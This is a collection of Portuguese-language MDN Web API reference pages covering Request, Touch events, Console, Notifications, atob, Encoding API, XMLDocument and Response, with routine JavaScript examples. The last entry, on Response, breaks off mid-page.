{"title":"Request - APIs da Web","text":"Request\n=======\n\nA interface **`Request`** da Fetch API representa uma requisição de recursos.\n\nVocê pode criar um novo objeto `Request` usando o construtor `Request.Request()`, porém é mais provável que você encontre um objeto `Request` que seja retornado como resultado de outra operação de API, como um service worker `FetchEvent.request` (en-US).\n\nConstrutor\n----------\n\n`Request.Request()`\n\nCria um novo objeto `Request`.\n\nPropriedades\n------------\n\n`Request.method` (en-US) Somente leitura \n\nContém o método da requisição (`GET`, `POST` etc.)\n\n`Request.url` (en-US) Somente leitura \n\nContém a URL da requisição.\n\n`Request.headers` (en-US) Somente leitura \n\nContém o objeto `Headers` (en-US) associado à requisição.\n\n`Request.context` (en-US) Somente leitura  \nDeprecated\n\nContém o contexto da requisição (ex., `audio`, `image`, `iframe` etc.)\n\n`Request.referrer` (en-US) Somente leitura \n\nContém a referência da requisição (ex., `client`).\n\n`Request.referrerPolicy` (en-US) Somente leitura \n\nContém a política de referência da requisição (ex., `no-referrer`).\n\n`Request.mode` (en-US) Somente leitura \n\nContém o modo da requisição (ex., `cors`, `no-cors`, `same-origin`, `navigate`.)\n\n`Request.credentials` (en-US) Somente leitura \n\nContém a credencial da requisição (Ex., `omit`, `same-origin`, `include`).\n\n`Request.redirect` (en-US) Somente leitura \n\nContém o modo de como os redirecionamentos serão tratados. Pode ser: `follow`, `error` ou `manual`.\n\n`Request.integrity` (en-US) Somente leitura \n\nContém o valor da subresource integrity (en-US) da requisição (ex., `sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=`).\n\n`Request.cache` (en-US) Somente leitura \n\nContém o modo de cache da requisição (ex., `default`, `reload`, `no-cache`).\n\n`Request` implementa `Body`, então também possui as seguintes propriedades disponíveis:\n\n`Body.body` (en-US) Somente leitura \n\nUm simples \"getter\" para ler o conteúdo do corpo através da interface `ReadableStream` (en-US).\n\n`Body.bodyUsed` (en-US) Somente leitura \n\nArmazena um `Booleano` (en-US) que declara se o corpo da requisição já foi utilizado em uma resposta.\n\nMétodos\n-------\n\n`Request.clone()` (en-US)\n\nCria uma cópia atual do objeto `Request`.\n\n`Request` implementa `Body`, então também possui os seguintes métodos disponíveis:\n\n`Body.arrayBuffer()` (en-US)\n\nRetorna um objeto do tipo promise que resolve um `ArrayBuffer` com a representação do corpo da requisição.\n\n`Body.blob()` (en-US)\n\nRetorna um objeto do tipo promise que resolve um `Blob` com a representação do corpo da requisição.\n\n`Body.formData()` (en-US)\n\nRetorna um objeto do tipo promise que resolve um `FormData` com a representação do corpo da requisição.\n\n`Body.json()` (en-US)\n\nRetorna um objeto do tipo promise que resolve um `JSON` com a representação do corpo da requisição.\n\n`Body.text()` (en-US)\n\nRetorna um objeto do tipo promise que resolve um `USVString` (en-US) (texto) com a representação do corpo da requisição.\n\n\n**Nota:** Os métodos de `Body` só poderão ser executadas apenas uma vez; As chamadas subsequentes serão resolvidas com strings/ArrayBuffers vazias.\n\nExemplos\n--------\n\nNo exemplo a seguir, nós criamos uma nova requisição utilizando o construtor `Request()` (para um arquivo de imagem no mesmo diretório do código) e, em seguida, nos retorna alguns valores das propriedades da requisição:\n\n\n```js\nconst myRequest = new Request(\"http://localhost/flowers.jpg\");\n\nconst myURL = myRequest.url; // http://localhost/flowers.jpg\nconst myMethod = myRequest.method; // GET\nconst myCred = myRequest.credentials; // omit\n```\n\n\nVocê poderá, então, solicitar uma nova requisição passando o objeto `Request` como parâmetro para a chamada `GlobalFetch.fetch()` (en-US), por exemplo:\n\n\n```js\nfetch(myRequest)\n  .then((response) => response.blob())\n  .then((blob) => {\n    myImage.src = URL.createObjectURL(blob);\n  });\n```\n\n\nNo exemplo a seguir, nós criamos uma nova requisição utilizando o construtor `Request()` com alguns valores iniciais e contendo o corpo para APIs que precisam processar essas informações:\n\n\n```js\nconst myRequest = new Request(\"http://localhost/api\", {\n  method: \"POST\",\n  body: '{\"foo\":\"bar\"}',\n});\n\nconst myURL = myRequest.url; // http://localhost/api\nconst myMethod = myRequest.method; // POST\nconst myCred = myRequest.credentials; // omit\nconst bodyUsed = myRequest.bodyUsed; // true\n```\n\n\n**Nota:** O tipo do corpo poderá ser apenas: `Blob`, `BufferSource`, `FormData`, `URLSearchParams`, `USVString` (en-US) ou `ReadableStream` (en-US). Para adicionar um objeto JSON ao corpo, é necessário converter esse objeto para string.\n\nVocê poderá, então, solicitar uma nova requisição passando o objeto `Request` como parâmetro para a chamada `GlobalFetch.fetch()` (en-US), por exemplo, e poderá capturar a resposta da seguinte forma:\n\n\n```js\nfetch(myRequest)\n  .then((response) => {\n    if (response.status === 200) {\n      return response.json();\n    } else {\n      throw new Error(\"Ops! Houve um erro em nosso servidor.\");\n    }\n  })\n  .then((response) => {\n    console.debug(response);\n    // ...\n  })\n  .catch((error) => {\n    console.error(error);\n  });\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # request-class |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* ServiceWorker API (en-US)\n* HTTP access control (CORS) (en-US)\n* HTTP"}
{"title":"Eventos do Toque - APIs da Web","text":"Eventos do Toque\n================\n\nCom a finalidade de fornecer suporte de qualidade para interfaces baseadas em toque (touch), os eventos de touch oferecem a capacidade de interpretar a atividade em telas sensíveis ao toque ou trackpads.\n\nDefinições\n----------\n\nSurface\n\nA superfície sensível ao toque. Pode ser uma tela ou trackpad.\n\nTouch point\n\nUm ponto de contato com a superfície. Pode ser um dedo (ou cotovelo, orelha, nariz, o que seja, mas provavelmente, um dedo) ou uma caneta.\n\nInterfaces\n----------\n\n`TouchEvent` (en-US)\n\nRepresenta um evento quando ocorre o estado de toque na superfície.\n\n`Touch` (en-US)\n\nRepresenta um único ponto de contato entre o usuário e a superfície sensível a toque.\n\n`TouchList` (en-US)\n\nRepresenta um grupo de toques, isto é usado quando usuário tem por exemplo, vários dedos ao mesmo tempo sobre a superfície.\n\n`DocumentTouch`\n\nContém métodos de conveniência para criar `Touch` (en-US) e objetos `TouchList` (en-US) .\n\nExemplo\n-------\n\nEste exemplo acompanha múltiplos pontos de contato de cada vez, permitindo o usuário desenhe em um `<canvas>` com mais de um dedo por vez. Ele só funcionará em um browser que tenha suporte a eventos de toque.\n\n**Nota:** O texto a seguir utiliza o termo \"finger\" quando descreve o contato com a superfície, mas poderia, é claro, ser também uma caneta ou outro método de contato.\n\n### Crie um canvas\n\n\n```html\n<canvas id=\"canvas\" width=\"600\" height=\"600\" style=\"border:solid black 1px;\">\n  Seu browser não tem suporte ao elemento canvas.\n</canvas>\n<br />\n<button onclick=\"startup()\">Initialize</button>\n<br />\nLog:\n<pre id=\"log\" style=\"border: 1px solid #ccc;\"></pre>\n```\n\n### Configurado os eventos\n\nQuando uma página é carregada, a função `startup()` mostrada abaixo deve ser chamada pelo nosso elemento `<body>` através do atributo `onload` (Mas no exemplo usamos um botão para adicioná-lo, devido as limitações do MDN live example system).\n\n\n```js\nfunction startup() {\n  var el = document.getElementsByTagName(\"canvas\")[0];\n  el.addEventListener(\"touchstart\", handleStart, false);\n  el.addEventListener(\"touchend\", handleEnd, false);\n  el.addEventListener(\"touchcancel\", handleCancel, false);\n  el.addEventListener(\"touchleave\", handleEnd, false);\n  el.addEventListener(\"touchmove\", handleMove, false);\n  log(\"initialized.\");\n}\n```\n\n\nDefine simplesmento todos os ouvintes dos eventos do nosso elemento `<canvas>` para que possamos trabalhar com os eventos de toque quando eles ocorrerem.\n\n#### Rastreando novos toques\n\nVamos acompanhar os toques em seu progresso.\n\n\n```js\nvar ongoingTouches = new Array();\n```\n\n\nQuando ocorre um evento `touchstart`, indicando que um novo toque na superfície tenha ocorrido, a função abaixo `handleStart()` é chamada.\n\n\n```js\nfunction handleStart(evt) {\n  evt.preventDefault();\n  log(\"touchstart.\");\n  var el = document.getElementsByTagName(\"canvas\")[0];\n  var ctx = el.getContext(\"2d\");\n  var touches = evt.changedTouches;\n\n  for (var i = 0; i < touches.length; i++) {\n    log(\"touchstart:\" + i + \"...\");\n    ongoingTouches.push(copyTouch(touches[i]));\n    var color = colorForTouch(touches[i]);\n    ctx.beginPath();\n    ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 \\* Math.PI, false); // a circle at the start\n    ctx.fillStyle = color;\n    ctx.fill();\n    log(\"touchstart:\" + i + \".\");\n  }\n}\n```\n\n\nA chamada `event.preventDefault()` mantem o browser a processa o evento de toque ( isso também previne que um mouse event seja despachado). Então, temos o contexto e puxamos a lista de pontos de contato disparados noa propriedade do evento `TouchEvent.changedTouches` (en-US).\n\nDepois disso, nós iteramos sobre todos os objetos `Touch` (en-US) da lista e os adicionamos em um array de pontos de contatos ativos e definimos o ponto inicial para desenhar um pequeno circulo; estamos usando um raio de 4 pixels, então um círculo de 4 pixels irá aparecer em nosso canvas.\n\n#### Desenhando movimento do toque\n\nCada vez que um ou mais dedos se movem, um evento de TouchMove é disparado, assim chamando nossa função handleMove(). A sua responsabilidade neste exemplo é atualizar as informações armazenadas e desenhar uma linha a partir da posição anterior para a atual de cada toque.\n\n\n```js\nfunction handleMove(evt) {\n  evt.preventDefault();\n  var el = document.getElementsByTagName(\"canvas\")[0];\n  var ctx = el.getContext(\"2d\");\n  var touches = evt.changedTouches;\n\n  for (var i = 0; i < touches.length; i++) {\n    var color = colorForTouch(touches[i]);\n    var idx = ongoingTouchIndexById(touches[i].identifier);\n\n    if (idx >= 0) {\n      log(\"continuing touch \" + idx);\n      ctx.beginPath();\n      log(\n        \"ctx.moveTo(\" +\n          ongoingTouches[idx].pageX +\n          \", \" +\n          ongoingTouches[idx].pageY +\n          \");\",\n      );\n      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);\n      log(\"ctx.lineTo(\" + touches[i].pageX + \", \" + touches[i].pageY + \");\");\n      ctx.lineTo(touches[i].pageX, touches[i].pageY);\n      ctx.lineWidth = 4;\n      ctx.strokeStyle = color;\n      ctx.stroke();\n\n      ongoingTouches.splice(idx, 1, copyTouch(touches[i])); // swap in the new touch record\n      log(\".\");\n    } else {\n      log(\"can't figure out which touch to continue\");\n    }\n  }\n}\n```\n\n\nEsta interação sobre os toques também muda, mas parece em cache as informações em um array para cada toque anterior, a fim de determinar um pont de partida e o destino para o desenho do trajeto. Isto é feito para olhar cada touch da propriedade `Touch.identifier` (en-US). Esta propriedade é um número inteiro único para cada toque, e mantém-se consistente para cada evento durante o tempo de contato de cada dedo como a superfície.\n\nIsto permite obter as coordenadas da posição anterior de cada contato e usar os métodos de contexto apropriado para desenhar uma linha que une as duas posições.\n\nDepois de desenhar a linha, nós chamamos `Array.splice()` para substituir as informações previas sobre o ponto de toque com a informação atual no array `ongoingTouches`.\n\n#### Gerenciando o final do evento de toque\n\nQuando o usuário retira o dedo da superfície , um evento `touchend` é disparado. Da mesma forma, se o dedo deslisa para fora do canvas, nós teremos um evento `touchleave` disparado. Nós tratamos da mesma forma em ambos os casos: chamamos a função `handleEnd()`. A sua missão é desenhar uma linha para o final do ponto de toque e remover o ponto de toque da lista ongoing.\n\n\n```js\nfunction handleEnd(evt) {\n  evt.preventDefault();\n  log(\"touchend/touchleave.\");\n  var el = document.getElementsByTagName(\"canvas\")[0];\n  var ctx = el.getContext(\"2d\");\n  var touches = evt.changedTouches;\n\n  for (var i = 0; i < touches.length; i++) {\n    var color = colorForTouch(touches[i]);\n    var idx = ongoingTouchIndexById(touches[i].identifier);\n\n    if (idx >= 0) {\n      ctx.lineWidth = 4;\n      ctx.fillStyle = color;\n      ctx.beginPath();\n      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);\n      ctx.lineTo(touches[i].pageX, touches[i].pageY);\n      ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8); // and a square at the end\n      ongoingTouches.splice(idx, 1); // remove it; we're done\n    } else {\n      log(\"can't figure out which touch to end\");\n    }\n  }\n}\n```\n\n\nIsto é muito semelhante a função anterior, as únicas diferenças reais são o desenho de um pequeno quadrado para marcar o fim e quando chamamos `Array.splice()`, nós simplesmente removemos a antiga entrada da lista de toque do ongoing, sem adição das informações atualizadas. O resultado é que paramos o tracking do ponto de contato.\n\n#### Tratando toques cancelados\n\nSe o dedo do usuário deslisa em uma UI de um navegador, ou o toque de outra forma precisa ser cancelado, o evento touchcancel é disparado e nos chamamaos a função `handleCancel()`.\n\n\n```js\nfunction handleCancel(evt) {\n  evt.preventDefault();\n  log(\"touchcancel.\");\n  var touches = evt.changedTouches;\n\n  for (var i = 0; i < touches.length; i++) {\n    ongoingTouches.splice(i, 1); // remove it; we're done\n  }\n}\n```\n\n\nUma vez que a idéia dé cancelar imediatamento o toque, nós simplesmente removemos da lista de ongoing sem desenhar uma linha final.\n\n### Funções de conveniência\n\nEste exemplo usa duas funções de conveniência que deve ser olhado rapidamente para ajudar a fazer o resto do código mais claro\n\n#### Selecionando a cor para cada toque\n\nA fim de fazer cada toque desenhar com uma cor diferente, a função `colorForTouch()` é usada para escolher uma cor com base em um identificador único do toque, Este identificador é um número opaco, mas pelo menos podemos conta com ele diferindo entre os toques ativos no momento.\n\n\n```js\nfunction colorForTouch(touch) {\n  var r = touch.identifier % 16;\n  var g = Math.floor(touch.identifier / 3) % 16;\n  var b = Math.floor(touch.identifier / 7) % 16;\n  r = r.toString(16); // make it a hex digit\n  g = g.toString(16); // make it a hex digit\n  b = b.toString(16); // make it a hex digit\n  var color = \"#\" + r + g + b;\n  log(\"color for touch with identifier \" + touch.identifier + \" = \" + color);\n  return color;\n}\n```\n\n\nO resultado desta função é uma string que pode ser usada ao chamar as funções `<canvas>` para setar a cor do desenho. Por exemplo, para um valor `Touch.identifier` (en-US) de 10, o resultado será a string \"#aaa\".\n\n#### Copiando touch objects\n\nAlguns browsers (mobile Safari, por exemplo) re-usa touch objects entre os eventos, por isso é melhor ter cuidado para copiar os bits, em vez de fazer referência a todo objeto.\n\n\n```js\nfunction copyTouch(touch) {\n  return {\n    identifier: touch.identifier,\n    pageX: touch.pageX,\n    pageY: touch.pageY,\n  };\n}\n```\n\n\n#### Encontrando um toque ongoing\n\nA função `ongoingTouchIndexById()` abaixo verifica através do array `ongoingTouches` para encontrar o toque correspondente ao indentificador passado, então ele retorna o índice do touch no array.\n\n\n```js\nfunction ongoingTouchIndexById(idToFind) {\n  for (var i = 0; i < ongoingTouches.length; i++) {\n    var id = ongoingTouches[i].identifier;\n\n    if (id == idToFind) {\n      return i;\n    }\n  }\n  return -1; // não econtrado\n}\n```\n\n\n#### Mostrando o que está acontecendo\n\n\n```js\nfunction log(msg) {\n  var p = document.getElementById(\"log\");\n  p.innerHTML = msg + \"\\n\" + p.innerHTML;\n}\n```\n\n\nIf your browser supports it, you can see it live.\n\njsFiddle example\n\nAdditional tips\n---------------\n\nThis section provides additional tips on how to handle touch events in your web application.\n\n### Handling clicks\n\nSince calling `preventDefault()` on a `touchstart` or the first `touchmove` event of a series prevents the corresponding mouse events from firing, it's common to call `preventDefault()` on `touchmove` rather than `touchstart`. That way, mouse events can still fire and things like links will continue to work. Alternatively, some frameworks have taken to refiring touch events as mouse events for this same purpose. (This example is oversimplified and may result in strange behavior. It is only intended as a guide.)\n\n\n```js\nfunction onTouch(evt) {\n  evt.preventDefault();\n  if (\n    evt.touches.length > 1 ||\n    (evt.type == \"touchend\" && evt.touches.length > 0)\n  )\n    return;\n\n  var newEvt = document.createEvent(\"MouseEvents\");\n  var type = null;\n  var touch = null;\n  switch (evt.type) {\n    case \"touchstart\":\n      type = \"mousedown\";\n      touch = evt.changedTouches[0];\n      break;\n    case \"touchmove\":\n      type = \"mousemove\";\n      touch = evt.changedTouches[0];\n      break;\n    case \"touchend\":\n      type = \"mouseup\";\n      touch = evt.changedTouches[0];\n      break;\n  }\n  newEvt.initMouseEvent(\n    type,\n    true,\n    true,\n    evt.originalTarget.ownerDocument.defaultView,\n    0,\n    touch.screenX,\n    touch.screenY,\n    touch.clientX,\n    touch.clientY,\n    evt.ctrlKey,\n    evt.altKey,\n    evt.shirtKey,\n    evt.metaKey,\n    0,\n    null,\n  );\n  evt.originalTarget.dispatchEvent(newEvt);\n}\n```\n\n### Calling preventDefault() only on a second touch\n\nOne technique for preventing things like `pinchZoom` on a page is to call `preventDefault()` on the second touch in a series. This behavior is not well defined in the touch events spec, and results in different behavior for different browsers (i.e., iOS will prevent zooming but still allow panning with both fingers; Android will allow zooming but not panning; Opera and Firefox currently prevent all panning and zooming.) Currently, it's not recommended to depend on any particular behavior in this case, but rather to depend on meta viewport to prevent zooming.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Touch Events  |\n\nCompatibilidade com navegadores\n-------------------------------\n\n### api.Touch\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.TouchEvent\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.TouchList\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Console API - APIs da Web","text":"Console API\n===========\n\nO Console API traz funcionalidades que permitem desenvolvedores realizar tarefas de debug, como registrar mensagens or os valores das variáveis em sertoes pontos do código, or cronometrar quanto tempo uma operação leva para concluir.\n\nConceitos e uso\n---------------\n\nO Console API começou como uma API proprietária, com diferentes navegadores a implementando. A especificação do Console API foi criado para definir um comportamento consistente, e todos o navegadores atuais ventualmente foram implementando a funconalidade — Apsar de algumas implementações ainda terem funções adicionais proprietárias. Veja mais sobre isso em:\n\n* Google Chrome DevTools implementação\n* Safari DevTools implementação\n\nUso é bastante simples — o objeto `console` — disponível via `window.console` (en-US), ou `WorkerGlobalScope.console` (en-US) em workers; acessível apenas usando `console` — contém vários métodos que você pode chamar para executar tarefas de depuração, geralmente focado no registro de vários valores no navegador Web Console.\n\nDe longe o método mais comum usado é o `console.log`, que é usado para mostrar o valor atual contido em uma variável específica.\n\nInterfaces\n----------\n\n`console`\n\nProvides rudimentary debugging functionality, including logging, stack traces, timers, and counters.\n\nExamples\n--------\n\n\n```js\nlet myString = \"Hello world\";\n\n// Output \"Hello world\" to the console\nconsole.log(myString);\n```\n\n\nSee the Console reference page for more examples.\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| Console Standard # console-namespace |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Tools\n* Web Console — how the Web Console in Firefox handles console API calls\n* Remote debugging — how to see console output when the debugging target is a mobile device"}
{"title":"Notificações - APIs da Web","text":"Notificações\n============\n\n**Note:** This feature is available in Web Workers\n\n**Secure context:** This feature is available only in secure contexts (en-US) (HTTPS), in some or all supporting browsers.\n\nA interface da API de Notificações (en-US) é usada para configurar e exibir notificações na área de trabalho do usuário. A aparência e algumas funcionalidades específicas das notificações variam entre as plataformas mas geralmente eles fornecem uma forma assíncrona de prover informações para o usuário.\n\nConstrutor\n----------\n\n`Notification()` (en-US)\n\nCria uma nova instancia do objeto `Notification`.\n\nPropriedades\n------------\n\n### Propriedades estáticas\n\nEstas propriedades estão disponíveis apenas no próprio objeto `Notification`.\n\n`Notification.permission` (en-US) Somente leitura \n\nUma sequência de caracteres que representa a permissão atual para exibir notificações. Valor possíveis são: \"denied\" (o usuário se recusa a ter notificações exibidas), \"granted\" (o usuário aceita ter notificações exibidas) ou \"default\" (a escolha do usuário é desconhecido e, portanto, o navegador irá agir como se o valor foram negados).\n\n### Propriedades da instância\n\nEstas propriedades estão disponíveis apenas em instâncias do objeto `Notification`.\n\n`Notification.title` (en-US) Somente leitura \n\nRetorna o título da notificação conforme foi definido no parâmetro opções do construtor.\n\n`Notification.dir` (en-US) Somente leitura \n\nA direção do texto da notificação, conforme especificado no parâmetro opções do construtor.\n\n`Notification.lang` (en-US) Somente leitura \n\nO código de idioma da notificação, conforme especificado no parâmetro opções do construtor.\n\n`Notification.body` (en-US) Somente leitura \n\nO corpo(mensagem) da notificação, conforme especificado no parâmetro opções do construtor.\n\n`Notification.tag` (en-US) Somente leitura \n\nO ID da notificação (se houver), conforme especificado no parâmetro opções do construtor.\n\n`Notification.icon` (en-US) Somente leitura \n\nA URL da imagem usada como um ícone da notificação, conforme especificado no parâmetro opções do construtor.\n\n`Notification.data` (en-US) Somente leitura \n\nRetorna um clone estruturado de dados da notificação.\n\n`Notification.silent` (en-US) Somente leitura \n\nEspecifica se a notificação deve ser silenciosa, ou seja, sons ou vibrações não devem ser emitidos, independentemente das configurações do dispositivo.\n\n#### Propriedades não suportadas\n\nAs propriedades a seguir estão listados na especificação mais up-to-date, mas não são suportadas em quaisquer navegadores ainda. É aconselhável manter a verificação de volta regularmente para ver se o status destes actualiza, e deixe-nos saber se você encontrar qualquer informações desatualizadas.\n\n`Notification.noscreen` Somente leitura \n\nEspecifica se o disparo notificação deve permitir que a tela do dispositivo ou não.\n\n`Notification.renotify` (en-US) Somente leitura \n\nEspecifica se o usuário deve ser notificado após uma nova notificação substitui um antigo.\n\n`Notification.sound` Somente leitura \n\nEspecifica um recurso de som para reproduzir durante o disparo da notificação, em vez do som de notificação do sistema padrão.\n\n`Notification.sticky` Somente leitura \n\nEspecifica se a notificação deve ser \"fixa\", ou seja, não facilmente eliminável pelo usuário.\n\n`Notification.vibrate` (en-US) Somente leitura \n\nEspecifica um padrão de vibração para dispositivos com hardware de vibração.\n\n#### Manipuladores de Eventos\n\n`Notification.onclick` (en-US)\n\nO manipulador para o evento `click (en-US)` é acionado cada vez que o usuário clica sobre a notificação.\n\n`Notification.onerror` (en-US)\n\nO manipulador para o evento `error (en-US)` é acionado quando a notificação encontra um erro.\n\n#### Manipuladores Obsoletos\n\nOs seguintes manipuladores de eventos ainda são suportados, conforme listado na seção browser compatibility. Estes serão listados abaixo, mas não são listados na especificação atual. Saiba que eles são obsoletos, e pode parar de funcionar em versões futuras do navegador.\n\n`Notification.onclose` (en-US)\n\nManipulador do evento `close` é acionado quando a notificação é fechada.\n\n`Notification.onshow` (en-US)\n\nManipulador do evento `show`. é acionado quando a notificação é exibida.\n\nMétodos\n-------\n\n### Métodos Estáticos\n\nEstes métodos estão disponíveis apenas no próprio objeto `Notification`.\n\n`Notification.requestPermission()` (en-US)\n\nSolicita a permissão do usuário para exibir notificações.\n\n### Métodos de instância\n\nEstas propriedades estão disponíveis apenas no objeto Notification ou através do seu `prototype`. O objeto de notificação também herda a interface `EventTarget`.\n\n`Notification.close()` (en-US)\n\nProgramaticamente fecha uma notificação.\n\nExemplos\n--------\n\nLeve em conta este HTML básico:\n\n\n```html\n<button onclick=\"notifyMe()\">Notifique me!</button>\n```\n\n\nÉ possível enviar uma notificação da seguinte forma - aqui nós apresentamos um conjunto bastante detalhado e completo de código que você pode usar se você quiser verificar primeiro se as notificações são suportados, em seguida, verifique se a permissão foi concedida para a origem atual para enviar notificações, em seguida, solicitar permissão, se necessário, antes, em seguida, enviar uma notificação.\n\n\n```js\nfunction notifyMe() {\n  // Verifica se o browser suporta notificações\n  if (!(\"Notification\" in window)) {\n    alert(\"Este browser não suporta notificações de Desktop\");\n  }\n\n  // Let's check whether notification permissions have already been granted\n  else if (Notification.permission === \"granted\") {\n    // If it's okay let's create a notification\n    var notification = new Notification(\"Hi there!\");\n  }\n\n  // Otherwise, we need to ask the user for permission\n  else if (Notification.permission !== \"denied\") {\n    Notification.requestPermission(function (permission) {\n      // If the user accepts, let's create a notification\n      if (permission === \"granted\") {\n        var notification = new Notification(\"Hi there!\");\n      }\n    });\n  }\n\n  // At last, if the user has denied notifications, and you\n  // want to be respectful there is no need to bother them any more.\n}\n```\n\n\nEm muitos casos, você não precisa estar presente detalhado. Por exemplo, na nosso Emogotchi demo (veja o código fonte), basta simlesmente executar `Notification.requestPermission` (en-US) independentemente de se certificar de que pode obter permissão para enviar notificações:\n\n\n```js\nNotification.requestPermission();\n```\n\n\nEm seguida executar um simples `spawnNotification()` quando queremos disparar uma notificação — este é passado argumentos para especificar o, ícone corpo e título que queremos, então ele cria as opções necessárias objeto e dispara a notificação usando o construtor `Notification()` (en-US).\n\n\n```js\nfunction spawnNotification(corpo, icone, titulo) {\n  var opcoes = {\n    body: corpo,\n    icon: icone,\n  };\n  var n = new Notification(titulo, opcoes);\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Notifications API Standard # api |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando a API de Notificações (en-US)"}
{"title":"WindowBase64.atob() - APIs da Web","text":"WindowBase64.atob()\n===================\n\nA função **`WindowBase64.atob()`** decodifica uma string de dados que foi codificada através da codificação base-64. Você pode usar o método `window.btoa()` (en-US) para codificar e transmitir dados que, se não codificados, podem causar problemas de comunicação. Após transmití-los pode-se usar o método `window.atob()` para decodificar os dados novamente. Por exemplo, você pode codificar, transmitir, e decodificar caracteres de controle como valores ASCII de 0 a 31.\n\nPara utilizar com strings Unicode ou UTF-8, veja esta nota em *Base64 encoding and decoding* (en-US) e essa nota em `window.btoa()` (en-US).\n\nSintaxe\n-------\n```\n\nvar dadoDecodificado = window.atob(dadoCodificado);\n```\n\nExemplo\n-------\n\n\n```js\nvar dadoCodificado = window.btoa(\"Olá, mundo\"); // codifica a string\nvar dadoDecodificado = window.atob(dadoCodificado); // decodifica a string\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-atob-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Base64 encoding and decoding (en-US)\n* `data` URIs (en-US)\n* `window.btoa()` (en-US)\n* Components.utils.importGlobalProperties"}
{"title":"Encoding API - APIs da Web","text":"Encoding API\n============\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO **Encoding API** providência uma mecânismo para tratar textos em vários tipos de encode de caracteres, incluindo encodes legados non-UTF-8\n\nA API provém de quatro interfaces: `TextDecoder` (en-US), `TextEncoder` (en-US), `TextDecoderStream` (en-US) e `TextEncoderStream` (en-US).\n\nInterfaces\n----------\n\n* `TextDecoder` (en-US)\n* `TextEncoder` (en-US)\n* `TextDecoderStream` (en-US)\n* `TextEncoderStream` (en-US)\nTutoriais & ferramentas\n-----------------------\n\n* O shim permite usar essa interface em navegadores que não a suportam.\n* `StringView` – Um C-like reperesentação de strings baseados em arrays tipados\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Encoding Standard # interface-textdecoder |\n| Encoding Standard # interface-textencoder |\n| Encoding Standard # interface-textencoderstream |\n| Encoding Standard # interface-textdecoderstream |\n\nCompatibilidade com navegadores\n-------------------------------\n\n### api.TextDecoder\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.TextEncoder\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.TextEncoderStream\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.TextDecoderStream\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"DocumentoXML - APIs da Web","text":"DocumentoXML\n============\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA interface **XMLDocument** representa um document XML. Ele herda de `Document` e não adiciona nenhum método específico ou propriedades para este: no entanto, alguns algoritmos tem comportamento diferente com os dois tipos de documentos.\n\nPropridades\n-----------\n\n*Esta interface não tem e nem herda nenhuma propriedade específica.*\n\nMetodos\n-------\n\n*Esta interface não adiciona nenhum método novo.*\n\n`XMLDocument.load()` (en-US) \nNon-standard\n\nDeprecated\n\nCarrega um documento XML\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # xmldocument |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Indice de interfaces DOM (en-US)"}
{"title":"Response - APIs da Web","text":"Response\n========\n\nA interface **`Response`** da Fetch API representa a resposta para uma requisição.\n\nVocê pode criar um novo objeto `Response` usando o construtor `Response.Response()` (en-US), porém é mais provável você encontrar um objeto Response sendo retornado como o resultado de uma outra operação da API, por exemplo um service worker `Fetchevent.respondWith` (en-US), ou um simples `GlobalFetch.fetch()` (en-US).\n\nConstrutor\n----------\n\n`Response()` (en-US)\n\nCria um novo objeto `Response`.\n\nPropriedades\n------------\n\n`Response.headers` (en-US) Somente leitura \n\nContém o objeto `Headers` (en-US) associado à resposta.\n\n`Response.ok` (en-US) Somente leitura \n\nContém um valor booleano indicando se a resposta foi bem sucedida (\"status\" no intervalo 200-299) ou não.\n\n`Response.redirected` (en-US) Somente leitura \n\nIndica se a resposta é ou não o resultado de um redirecionamento; isto é, sua lista de URL tem mais de uma entrada.\n\n`Response.status` (en-US) Somente leitura \n\nContém o código de \"status\" da resposta (ex., `200` para um sucesso).\n\n`Response.statusText` (en-US) Somente leitura \n\nContém a mensagem de \"status\" correspondente ao código de \"status\" (ex., `OK` para `200`).\n\n`Response.type` (en-US) Somente leitura \n\nContém o tipo da resposta (ex., `basic`, `cors`).\n\n`Response.url` (en-US) Somente leitura \n\nContém a URL de resposta.\n\n`Response.useFinalURL`\n\nContém um valor boleano indicando se essa é a URL final da resposta.\n\n`Response` implementa `Body`, por isso também tem as seguintes propriedades disponíveis:\n\n`Body.body` (en-US) Somente leitura \n\nUm simples \"getter\" para ler do conteúdo do corpo 